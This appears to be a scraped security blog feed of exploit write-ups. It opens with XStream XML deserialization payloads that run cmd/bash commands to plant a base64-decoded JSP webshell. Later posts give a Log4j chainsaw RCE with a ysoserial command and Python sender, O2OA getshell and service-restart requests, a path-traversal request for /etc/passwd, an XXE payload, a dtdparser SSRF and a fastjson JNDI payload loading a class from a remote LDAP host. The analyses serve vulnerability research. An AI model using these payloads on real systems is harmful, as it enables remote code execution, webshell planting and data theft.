webshell内容里会出现各种标签、换行和特殊符号等，所以要利用base64来发两次请求生成webshell
把内容转成base64输出到txt

<command>
<string>cmd</string>
<string>/c</string>
<string>echo PCU9bmV3IGphdmEudXRpbC5EYXRlKCklPg== >../webapps/ROOT/12.txt</string>
 </command>

发送第一次请求落地文件

第二次请求利用系统自带的base64解码来解码文件内容并转成webshell文件格式

然后就可以访问webshell了

windows环境

第一次请求：

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                     <string>cmd</string>
<string>/c</string>
<string>echo PCU9bmV3IGphdmEudXRpbC5EYXRlKCklPg== >../webapps/ROOT/12.txt</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

第二次请求

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                     <string>cmd</string>
<string>/c</string>
<string>certutil -decode ../webapps/ROOT/12.txt ../webapps/ROOT/12.jsp</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

不要问为什么不能在第一次请求中加个管道符一次性执行，我试了几次没成功，有空的再自己试试吧

linux环境：

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                     <string>bash</string>
<string>-c</string>
<string>echo PCU9bmV3IGphdmEudXRpbC5EYXRlKCklPg== | base64 -d > ../webapps/ROOT/12.jsp</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

]]> 代码审计代码审计细分一个漏洞 /2022/01/10/74/ 在进入LoggingReceiver的时候就已经开始线程了

所以看class LoggingReceiver extends Thread里的run方法
线程启动后会监听4445端口，如果有连接，则从ServerSocket的accept方法中取出这条连接，没有连接则持续监听

随后新线程走进Slurper对象，在该对象的run方法中，获取从accept取出的连接的输入流将输入流封装为ObjectInputStream对象，并调用了ObjectInputStream的readObject方法，通过反序列化恶意数据来触发漏洞

]]> 代码审计代码审计纠正一个漏洞 /2022/01/10/73/ 在整理东西时突然发现一个以前的一个漏洞触发点我给分析错了，纠正一下
本来是这么想的
当上传完激活文件后就会进入到这里进行反序列化

但后来发现并不是

从文件上传的操作来看保存的文件名是随机的，并不是license.dat

但是上传后的确又可以马上触发

于是继续看license.jsp后面，发现当文件上传完后，会做一次判断，如果文件不是符合要求（即文件格式不对的话）的话就会从默认的license里取出默认信息

如果符合要求则从上传的文件里获取信息

第一次漏洞也就是从这里触发，即上传文件就触发

这个licenseFilePath就是从前端传过来的被上传的文件路径

事情还没结束

当op参数是change时，就会将上传的文件复制覆盖原来的license.dat

然后走到License对象的verify方法对license.dat进行反序列化

如果文件被替换，所以最后出现的License.getInstance().init()也会在每次访问页面时被触发

以后得仔细看了

]]> 代码审计代码审计 O2OAgetshell前传 /2021/12/22/70/ 上传

在<=6.4.4（20211121）版本后台中允许用户上传部署自定义jar/war服务，如果用户选customwar选项上传，ActionUploadFile类就会将文件以socket形式发送到服务端

1	`src/main/java/com/x/program/center/jaxrs/command/CommandAction.java`

execute->executeCommand

随后服务端接收文件

1	`src/main/java/com/x/server/console/NodeAgent.java`

在run方法中通过判断模式来执行相应模块，此处为部署服务

跟进redeploy方法
前面说到了strCommand的值是customWar，所以直接看case “customWar“

转到customWar方法就可以看到文件已经被上传到指定位置

查找执行命令的接口

但是上传后还要重启才可以部署完war

那总不能干等目标重启吧，在上传的类中还有一个executeCommand方法

1	`src/main/java/com/x/program/center/jaxrs/command/CommandAction.java`

跟进execute
先看他的参数是什么

根据代码构造参数

1	`{"ctl":"","nodeName":"","nodePort":""}`

回到execute方法
跟上传一样通过socket发送数据到服务端

服务端接收数据根据模式进入相应的实现

此处的strCommand就是前面ActionCommand.executeCommand存的值（前面文件上传思路一样）

服务端接收数据后根据正则匹配到的值跳到相应实现

回到服务端execute_command_pattern模式，命令存放到commandQueue，commandQueue为LinkedBlockingQueue类定义的接口（文末介绍LinkedBlockingQueue类），在该类中有一个take方法取出存放的元素

所以下一步就找到调用这个方法的类
在

1	`src/main/java/com/x/server/console/Main.java`

中调用commandQueue.take取出元素来判断进入相应的实现

往下看可以看到，当取出的元素包含有restart_pattern的值时就会进入restart方法

查看restart_pattern的值

从正则可知值为restart，所以参数如下

1	`{"ctl":"restart","nodeName":"","nodePort":""}`

restart方法就是停止所有服务然后调用相应脚本再在新线程里重新启动服务

至此就可以通过参数来通过请求重启服务而不用等目标管理员重启了
根据路由构造请求

1	`POST xxx/xxx/command/execute`

根据前面构造的参数拼接

POST xxx/xxx/command/execute



{"ctl":"restart","nodeName":"*","nodePort":"*"}

这样就可以重启所有服务了

重启一般是20秒左右

完整的验证详见
https://novysodope.github.io/2021/11/30/67/

改进
根据注释介绍*是所有节点，实际我们可以根据页面显示的选项来填对应主机部署重启，
也可以看CommandAction类，在该类中还有一个nodeInfoList方法是获取所有服务器信息的

直接请求看一下就可以得到信息定点打击了

LinkedBlockingQueue类

这个LinkedBlockingQueue跟ArrayBlockingQueue类差不多，而ArrayList跟ArrayBlockingQueue一样，所以可以理解为LinkedBlockingQueue也是用来存放东西的，即命令存到了LinkedBlockingQueue里，有关LinkedBlockingQueue 类的介绍可以看
https://blog.csdn.net/tonywu1992/article/details/83419448

]]> 代码审计代码审计 dtdparser1.21 SSRF /2021/12/22/69/ dtdparser is a component that parses DTD documents. The component does not correctly process the incoming parameters, resulting in ssrf vulnerabilities.

1	`com\wutka\dtdparser\1.21\dtdparser-1.21.jar!\com\wutka\dtd\Tokenize.class`

In the main method of the jar package, determine which method to process the parameters by judging whether it contains ://

When the parameter is http://, it will enter the DTDParser method that receives the URL object type parameter. After the parameter (that is, url) is passed in, the openStream method of the URL object will be used to open the request. There is no other verification before that. In order to cause the vulnerability, when the attacker passes parameters containing sensitive resources to it, this method will directly initiate a request for the resource through its own server

When the parameter is other, it will enter the DTDParser method that receives the File object type parameter, and then use the FileReader object to read the parameter content one by one

verify

See the startup class as Tokenize through the MANIFEST.MF file
Through the entry method, the parameter can be directly followed.
Such as probing port service
java -jar dtdparser-1.21.jar http://127.0.0.1:9000
There will be response data when there is a service on the port

Because there is an analysis of the target dtd content in the main method, if it is not in the dtd format, an error will be reported (the parameter does not meet the conditions of \com\wutka\dtd\Scanner.class, and the method of the File object type handles the newline character of the parameter Because the condition of Scanner is not met an error will be reported, so only the first line will be displayed when the file is read

When the port is not open, it will prompt that the connection is refused:

When the port exists but there is no service, it will prompt the connection reset:

In practical applications, the main trigger point is the DTDParser class, in which methods of various object types are provided, such as Reader object type, URL object type, File object type

The web scene is written like this:
Reference dependency

<dependency>
         <groupId>com.wutka</groupId>
         <artifactId>dtdparser</artifactId>
         <version>1.21</version>
     </dependency>

In order to be more intuitive, a display is specially added


public void wuDtD(HttpServletRequest request, HttpServletResponse response) throws IOException {
       String result = null;
       DTDParser parser = null;
       try{
       String u = request.getParameter("url");
       if (u.indexOf("://") > 0) {
           parser = new DTDParser(new URL(u), true);
       } else {
           parser = new DTDParser(new File(u), true);
       }
       DTD d = parser.parse(true);
       if (d != null) {
           if (d.rootElement != null) {
               result = d.rootElement.getName();

           }
       }
       ServletOutputStream outputStream = response.getOutputStream();
       outputStream.write(result.toString().getBytes());
       outputStream.flush();
       outputStream.close();
   } catch (IOException e) {
           ServletOutputStream outputStream = response.getOutputStream();
           outputStream.write(e.toString().getBytes());
           outputStream.flush();
           outputStream.close();
           logger.error(e);
       }
   }

Bug fix

if (u.indexOf("://") > 0) {
           if(Notip.ipIsInner(u)||!u.contains(".dtd")){//or endsWith
               ServletOutputStream outputStream = response.getOutputStream();
               outputStream.write("error".toString().getBytes());
               outputStream.flush();
               outputStream.close();
           }else {

]]> 代码审计代码审计若依对sql注入的修复 /2021/12/21/68/ 在看了几个若依的注入后发现其最新版还是会存在${params.dataScope}，那这个参数是从哪来的呢，${params.dataScope}的意思就是入参参数的dataScope属性,即 SysDept对象的dataScope属性，可能有点懵逼，随便找个有注入的点跟下去就知道，拿

1	`src/main/java/com/ruoyi/web/controller/system/SysRoleController.java`

来说，在该层中有两处存在注入，拿其中的unallocatedList方法为例

传入selectUnallocatedList方法查询，参数参考SysUser

这个时候还没有dataScope，跟进selectUnallocatedList方法

查看实现类对selectUnallocatedList方法的实现

在方法的前面有一个注解@DataScope(deptAlias = “d” )，该注解为应用自定义，会根据权限来分配赋值，也就是在这里开始有了params[dataScope]，即${params.dataScope}

其实现为DataScopeAspect类

在该类的dataScopeFilter方法中有对dataScope参数做拼接的操作

若依对${params.dataScope}的修复比较逗，因为如果使用#{params.dataScope}的话是使用不了的，所以他们在对DATA_SCOPE做拼接查询之前直接把${params.dataScope}的参数清空

clearDataScope方法

这应该是无解了吧

]]> 代码审计代码审计 o2oa 6.3.4后台getshell /2021/11/30/67/ O2OA不依赖tomcat，采用自己的console.jar方式启动，因为不支持自定义jsp所以无法使用上传jsp来getshell。但是在后台中有一个上传jar/war包的功能，可以通过上传自定义jar/war包来部署自己服务，这篇笔记就记录一下通过部署war来getshell

正文

按照官方文档，部署的war包要以o2的框架来开发编译：
自定义服务-搭建自定义工程及开发

工程模板：（文末有成品）
https://git.o2oa.net/o2oa/o2custom-sample/-/archive/master/o2custom-sample-master.zip

首先跟着提示修改基本信息，然后改SampleEntityClassNameAction类的代码

1	`/x_ahtest_assemble_control/src/main/java/com/x/ahtest/assemble/control/jaxrs/sample/SampleEntityClassNameAction.java`

还要注意一下改filter，不然这个shell以后还得管理员登录才能访问：
AnonymousJaxrsServicePathFilter类是定义可以在不登录的情况下访问请求，加上mapping

修改打包完成后上传war包

重启服务

可以通过接口查看有没有部署成功

1	`/x_program_center/jest/list.html`

然后访问服务就可以执行命令了

路由一般为

1	`/模块名/jaxrs/sample/`

成品放github上了
https://github.com/novysodope/O2OA-getshell

这个只是一个验证，具体shell实现还是要自己改一下，在SampleEntityClassNameAction类：

1	`/x_ahtest_assemble_control/src/main/java/com/x/ahtest/assemble/control/jaxrs/sample/SampleEntityClassNameAction.java`

可以改成内存马什么的

如果只是改类其他地方没改的话部署后的路由为
http://localhost/x_ahtest_assemble_control/jaxrs/sample/cmd?cmd=calc

2021/11/30更新

6.4.4也可以

2021/12/01更新

可以通过接口重启服务

/x_program_center/jaxrs/command/execute 



{"ctl":"命令","nodeName":"target","nodePort":"target"}

大概20秒左右就会重启成功

]]> 实战渗透测试 o2oa的任意文件读取 /2021/11/01/65/ 权当笔记

代码分析：
在
\src\main\java\com\x\xxx\xxx\jaxrs\config\ConfigAction.java的open方法中new了一个ActionOpen对象的execute方法来处理请求

在该方法里
com/x/xxx/xxx/jaxrs/config/ActionOpen.java
先从参数filename处获取文件名

文件名直接拼接到config/后面，然后使用Config的base()方法获取绝对路径，此处是漏洞产生的关键点

此时file的值为C:\web\config\filename

接下来判断file是否存在，如果存在就会用到工具类FileUtils的readFileToString方法直接读取文件

由于filename参数可控，所以可以利用../来跨目录访问文件

最后返回包含文件内容的结果

漏洞验证：
根据路由构造路径

/xxx/jaxrs/config/open

根据代码

构造json格式的参数

1	`{“filename”:”../../../../../../../../etc/passwd”}`

2021/11/30更新：

6.4.4还是存在

可以直接请求

POST /x_program_center/jaxrs/config/open HTTP/1.1
Host: 127.0.0.1:20020
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/json,*/*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=utf-8
Content-Length: 39
Connection: close
Cookie: x-token=PfyuxmzgIzpQnJNvn-oq_HwUDX-wFwWE50QnO7mEHhA

{"fileName":"../../../../etc/passwd"}

运气好的话说明账号密码是默认的，直接读取，也可以登录后台getshell，如果文件不存在会提示

{
  "type": "success",
  "data": {
    "time": "",
    "status": "success",
    "isSample": true
  },
  "message": "",
  "date": "",
  "spent": 0,
  "size": -1,
  "count": 0,
  "position": 0
}

需要登录的话提示的是过期重新登录

]]> JAVA 任意文件读取 wutkajox XXE /2021/10/29/64/ A component found during a code audit at the customer site.
The affected version is <=1.16

https://mvnrepository.com/artifact/com.wutka/jox/1.16

According to the official demo, the data will first be passed to the readObject method of JOXBeanInputStream:

In the readObejct method of the object JOXBeanInputStream, the parameters will continue to be passed into the readObejct method of the JOXSAXBeanInput class for processing:

Follow up with the JOXSAXBeanInput class:

In the readObject method of this class, the parse method of SAXParser is called to directly parse the XML document. No other verification is performed, so that the malicious xml data can be used to trigger the vulnerability.

Vulnerability verification:
Reference dependencies in pom files:

<dependency>
      <groupId>com.wutka</groupId>
      <artifactId>jox</artifactId>
      <version>1.16</version>
    </dependency>

Refer to the official to write a class that calls JOXBeanInputStream to parse xml:

import java.io.ByteArrayInputStream;
import com.wutka.jox.JOXBeanInputStream;
import com.wutka.jox.JOXBeanOutputStream;

import java.io.ByteArrayOutputStream;
import java.io.IOException;

/**
 * @Author novy
 * @Date 2021/10/22 11:22
 * @Version 1.0
 */
    public class BeanXMLMapping {

        /**
         *
         *
         Retrieves a bean object for the
         *
         *
         *
         * received XML and matching bean class
         */

        public static Object fromXML(String xml, Class className) throws IOException {

            ByteArrayInputStream xmlData = new ByteArrayInputStream(xml.getBytes());

            JOXBeanInputStream joxIn = new JOXBeanInputStream(xmlData);

            try {

                return joxIn.readObject(className);

            } catch (IOException exc) {

                exc.printStackTrace();

                return null;

            } finally {

                try {

                    xmlData.close();

                    joxIn.close();

                } catch (Exception e) {

                    e.printStackTrace();

                }

            }

        }

POC:

@RequestMapping("/jox")
   public void joxxml(@RequestBody String req, HttpServletResponse response) throws IOException {
       BeanXMLMapping aaa = new BeanXMLMapping();
       aaa.fromXML(req,TestController.class);//TestController.class is arbitrary class added to meet the conditions

Finally, send the payload to trigger the vulnerability

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
        <!ELEMENT creds ANY >
        <!ENTITY xxe SYSTEM "dnslog">
        ]>
<creds>
    &xxe;
</creds>

Refer to:
简单SAX解析详解全过程

]]> JAVA XXE Log4j1.2.17 RCE /2021/10/28/63/ Vulnerability discovered in early 2020.

After reading CVE-2019-17571, I found that there is another vulnerability under chainsaw，there is a deserialization process for socket data in the LoggingReceiver class, and the lack of verification leads to the occurrence of vulnerabilities

Vulnerability analysis:
Set the listening port in the setupReceiver method on line 133 of src/main/java/org/apache/log4j/chainsaw/Main.java

private void setupReceiver(MyTableModel aModel) {
        int port = 4445;
        String strRep = System.getProperty("chainsaw.port");
        if (strRep != null) {
            try {
                port = Integer.parseInt(strRep);
            } catch (NumberFormatException var6) {
                LOG.fatal("Unable to parse chainsaw.port property with value "+ strRep + ".");
                JOptionPane.showMessageDialog(this, "Unable to parse port number from'" + strRep + "', quitting.", "CHAINSAW", 0);
                System.exit(1);
            }
        }

Then go to the LoggingReceiver class to process related connection information:

try {
            LoggingReceiver lr = new LoggingReceiver(aModel, port);
            lr.start();

Follow up LoggingReceiver class,get the data in the run method, encapsulate the mClient data into the ObjectInputStream object, Deserializing the ois object triggers the vulnerability:
src/main/java/org/apache/log4j/chainsaw/LoggingReceiver.java


public void run() {
            LoggingReceiver.LOG.debug("Starting to get data");

            try {
                ObjectInputStream ois = new ObjectInputStream(this.mClient.getInputStream());

                while(true) {
                    LoggingEvent event = (LoggingEvent)ois.readObject();
                    LoggingReceiver.this.mModel.addEvent(new EventDetails(event));
                }

Vulnerability verification:
Start the visualization component

1	`java -cp log4j-1.2.17.jar org.apache.log4j.chainsaw.Main`

Sending the payload generated by ysoserial (https://github.com/angelwhu/ysoserial) to port 4445 of the target can trigger the vulnerability.

eg, generate malicious data exp.ser first:

1	`java -jar ysoserial.jar Jdk7u21 "calc" > exp.ser`

Write a python socket client after generating the data:

exp.py:

#coding:utf-8
import socket
s = socket.socket()
host = "172.20.10.14"#target ip
port = 4445#The listening port set by the component
s.connect((host,port))
ssss = open("exp.ser",'rb')//Malicious data
xc = ssss.read()
s.send(xc)
s.close()

running exp.py can trigger the vulnerability.

OR

Web demo:

public class Log4jVul {
    public static void main(String[] args) {
        String[] arg = {};
        Main.main(arg);
    }
}

When you run the above demo, you will be prompted:

1
2
3

[main] DEBUG org.apache.log4j.chainsaw.MyTableModel - Total time [ms]: 1 in update, size: 0
[Thread-4] INFO org.apache.log4j.chainsaw.LoggingReceiver - Thread started
[Thread-4] DEBUG org.apache.log4j.chainsaw.LoggingReceiver - Waiting for a connection

It will prompt to wait for a connection. At this time, sending malicious serialized data to port 4445 will trigger the vulnerability.

]]> JAVA JAVA反序列化模拟器里frida的简单学习 /2021/08/15/60/ 一、Frida安装

pip install frida
pip install frida-tools

模拟器使用雷电模拟器，下载对应内核架构版本frida-server安装到模拟器
https://github.com/frida/frida/releases

我的是i686对应的是32位所以下载32位的版本（也可以开启模拟器使用adb shell进去后执行cat /proc/cpuinfo查看版本，看不到就下载一个检测硬件的检测）

下载完后解压，执行命令将文件移到手机里
adb push 解压目录 /data/local/tmp/

然后adb shell连接手机，依次执行以下命令

su #执行特权
cd /data/local/tmp/ #进入到frida-server文件目录
ls #查看你的frida-server文件叫啥以方便执行
chmod 777 frida-server #给文件读写执行权限

./frida-server #开启frida-server

查看是否成功：另起一个cmd，转发端口
adb forward tcp:27042 tcp:27042

执行frida-ps -R就会列出设备里的所有进程，代表frida已经部署成功了

二、hook测试

模拟器安装一个测试app运行

运行python脚本得到android手机当前最前端Activity所在的进程（最新运行的app的进程）：

import frida
rdev = frida.get_remote_device()
front_app = rdev.get_frontmost_application()
print (front_app)
````
![](/images/60/10.png)

枚举所有进程：
```python
import frida
rdev = frida.get_remote_device()
processes = rdev.enumerate_processes()
for process in processes:
print (process)

hook android的java层函数，开始尝试劫持：
原app（点击按钮提示“source string！”）

运行脚本劫持内容：

# encoding: utf-8
import frida  #导入frida模块
import sys    #导入sys模块

jscode = """
    Java.perform(function(){  
        var MainActivity = Java.use('com.example.testfrida.MainActivity');
        MainActivity.testFrida.implementation = function(){
            send('Statr! Hook!');
            return 'Change String!' #劫持点，点击按钮后要改变的内容
        }
    });
"""

def on_message(message,data): #js中执行send函数后要回调的函数
    print(message)

process = frida.get_remote_device().attach('testfrida') #得到设备并劫持进程com.example.testfrida
script = process.create_script(jscode) #创建js脚本
script.on('message',on_message) #加载回调函数，也就是js中执行send函数规定要执行的python函数
script.load() #加载脚本
sys.stdin.read()

其中jscode为js实现，具体看官方文档
https://frida.re/docs/quickstart/

以后每次启动都要执行

1 2	`adb shell "cd /data/local/tmp&&ls&&./frida-server" adb forward tcp:27042 tcp:27042`

hook密钥

推荐工具inspeckage

参考

[1] https://www.jianshu.com/p/9731185d33aa

[2] https://blog.csdn.net/qq_38851536/article/details/103755407?utm_medium=distribute.pc_relevant.none-task-blog-title-6&spm=1001.2101.3001.4242

[3] https://www.anquanke.com/post/id/86567

[4] https://www.52pojie.cn/thread-1128884-1-1.html

]]> 安卓测试安卓测试 frida python3一些问题 /2021/06/09/59/ 编码：
头部加

1 2	`import sys sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8')`

que库：

1	`from Queue import Queue`

提示没有Queue，安装

install的时候老是报这个错误，百度的都不能解决问题（涉及到技术问题的百度都是垃圾），其实不是网络问题，改一下小写就可以了

1	`from queue import Queue`

]]> python python ysoserial URLDNS gadget分析笔记 /2021/05/19/55/ 首先查看给出的gadget chain

因为反序列化时如果被反序列化的类里实现了Serializable接口且有readObject的话就会执行该方法里的实现，所以跟进readObject，

重写反序列化，计算流的字节，然后使用putval方法来处理HashMap.hash()方法处理key返回的结果

跟进hash，在该方法中对传来的参数做了一次判断，当key不为空时调用到key.hashCode

因为key是前面传过来的对象u

所以根据URLDNS类得知实际为URL类中的hashcode方法

在该方法中做了一次判断，当hashcode的值为-1时就进入到handler.hashCode，在URLStreamHandler.hashCode中做了发起dns的请求的操作，具体为：

参数传入了getHostAddress，在该方法里将u.getHost的值传进getByName，u.getHost即传来的参数url：

最后使用InetAddress.getByName(host)获取主机名，也就是在这里发出了dnslog请求

]]> 代码审计 ysoserial fastjson1.2.24反序列化jndi注入利用调试跟进 /2021/03/11/57/ 一直对jndi注入只有个大概的认识，今天学习一下原理，从fj反序列化漏洞入手调试学习
Payload

1	`{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.43.147:1389/o=reference","autoCommit":true}}`

前面参数传递省略，分两个部分跟进

0x01.Fastjson反序列化实现流程跟进

当参数第一个字符为{时进入case 12

跟进DefaultJSONParser.parseObject
随后判断参数如果{的后面是双引号，就使用scanSymbol方法获取双引号里的内容

跟进JSONLexerBase.scanSymbol
开始获取双引号里的内容，扫描传来的值获取key

Key为@type

回到JSONLexerBase.scanSymbol
具体为计算长度，根据长度来获取对应位置的字符，在JSONScanner.next方法中index为双引号开始部分，经过不断遍历，此时index为7，也就是扫描从双引号开始第7位字符的符号，

再次得到双引号，符合条件跳出循环

最终拿到双引号里的@type符合条件后进入下一步

开始扫描下一个双引号里的字符

经过像上一步一样的操作最终得到com.sun.rowset.JdbcRowSetImpl

返回上一层进入下一步

此处为取得一些基础类，进入loadclass方法

mappings是当前类加载器的缓存（相当于是一个容器，classname是key，根据key从容器取出class对象），此处想要从缓存里取出com.sun.rowset.JdbcRowSetImpl，但是mappings不存在这个对象

所以开始下一步的判断，从获取到的ClassName看到第一位字符为c，所以绕过第一个及第二个if进入到try

Classloader为空不满足条件，继续下一个try

将com.sun.rowset.JdbcRowSetImpl一系列操作后缓存到mappings里，此时clazz为com.sun.rowset.JdbcRowSetImpl，满足前面clazz不为空的条件

即

然后通过getDeserializer方法得到clazz对象所有参数

跟进getDeserializer往下走
在getFieId方法里会使用到反射加载的方式来获取对象的set、get方法

获取完对象后开始反序列化

总结流程为：

遍历传入的json，取出对应的内容（对象、对象参数）->获取取出的对象的所有set、get方法->根据取得的内容做反序列化

0x02.Jndi注入跟进

流程走到
com.sun.rowset.JdbcRowSetImpl#connect

这里的参数dataSourceName是在前面反序列化时反射加载得到的setter方法setDataSourceName(String name)中设置的，由于可控所以满足jndi注入的条件，此时dataSourceName的值为前面传来的ldap://192.168.43.147:1389/o=reference，再用lookup查找传来的数据源从而进行调用
跟进lookup方法看具体实现

1	`javax.naming.InitialContext#lookup`

getURLOrDefaultInitCtx函数会分析传来的name的协议头然后返回对应协议的Context对象子类，然后在对应协议处理对象中去lookup搜索
跟进getURLOrDefaultInitCtx

1	`javax.naming.InitialContext#getURLOrDefaultInitCtx`

跟进getURLContext查看对协议的处理

1	`javax.naming.NamingManager#getURLContext`

此处协议是ldap所以返回GenericURLDirContext对象的子类ldapURLContext，继续跟进lookup

1	`com.sun.jndi.url.ldap.ldapURLContext#lookup`

往上跟到父类的lookup

1	`com.sun.jndi.toolkit.url.GenericURLContext#lookup`

具体链为

com.sun.jndi.url.ldap.ldapURLContext#getRootURLContext-> 
com.sun.jndi.url.ldap.ldapURLContextFactory#getUsingURLIgnoreRootDN-> 
javax.naming.spi.ResolveResult#ResolveResult->
…

回到lookup方法，

调用注册中心的lookup方法去查找传来的name（此处的remainingName即传来的恶意类）
流程走到

1	`com.sun.jndi.ldap.LdapCtx#c_lookup`

获取对象实例，跟进getObjectInstance

1	`javax.naming.spi.DirectoryManager#getObjectInstance`

由于
javax.naming.spi.NamingManager#getObjectFactoryBuilder的属性为null，所以跳过此处判断

回到DirectoryManager类，往下走

判断refinfo是否为Reference的实例对象，将恶意类封装到ref中
，往下走

，获取封装到ref对象的类名，随后到Reference里加载传来的ref，跟进getObjectFactoryFromReference查看具体实现

1	`javax.naming.spi.NamingManager#getObjectFactoryFromReference`

尝试从本地加载Factory类：

如果本地不存在此类，则会从codebase中加载：

跟进loadclass方法，

1	`com.sun.naming.internal.VersionHelper`

这是一个抽象类，由于抽象类不能被直接实例化，所以我们跟进到他的子类的loadclass方法

1	`com.sun.naming.internal.VersionHelpe12#loadclass`

进入到forname

1	`java.lang.class#forname`

由于security属性为null所以跳过安全检查直接返回对象

回到VersionHelpe12#loadclass，最后通过URLClassLoader从远程动态加载恶意类：

此处的getUrlArray方法为父类的解析实现

1	`VersionHelper#getUrlArray`

回到Javax.naming.spi.NamingManager#getObjectFactoryFromReference
实例化URLClassLoader从远程动态加载的恶意类，从而加载恶意代码触发命令：

实例化调用链如下

Java.lang.class#newInstance->
java.lang.reflect.Constructor#newInstance->
sun.reflect.DelegatingConstructorAccessorImpl#newInstance->
sun.reflect.NativeConstructorAccessorImpl#newInstance->
sun.reflect.NativeConstructorAccessorImpl#newInstance0

总结流程为：

获取数据源->获取参数协议头，根据获取的协议进入对应的处理方法->加载factory对象->实例化获取的对象

总结fastjson漏洞原理：

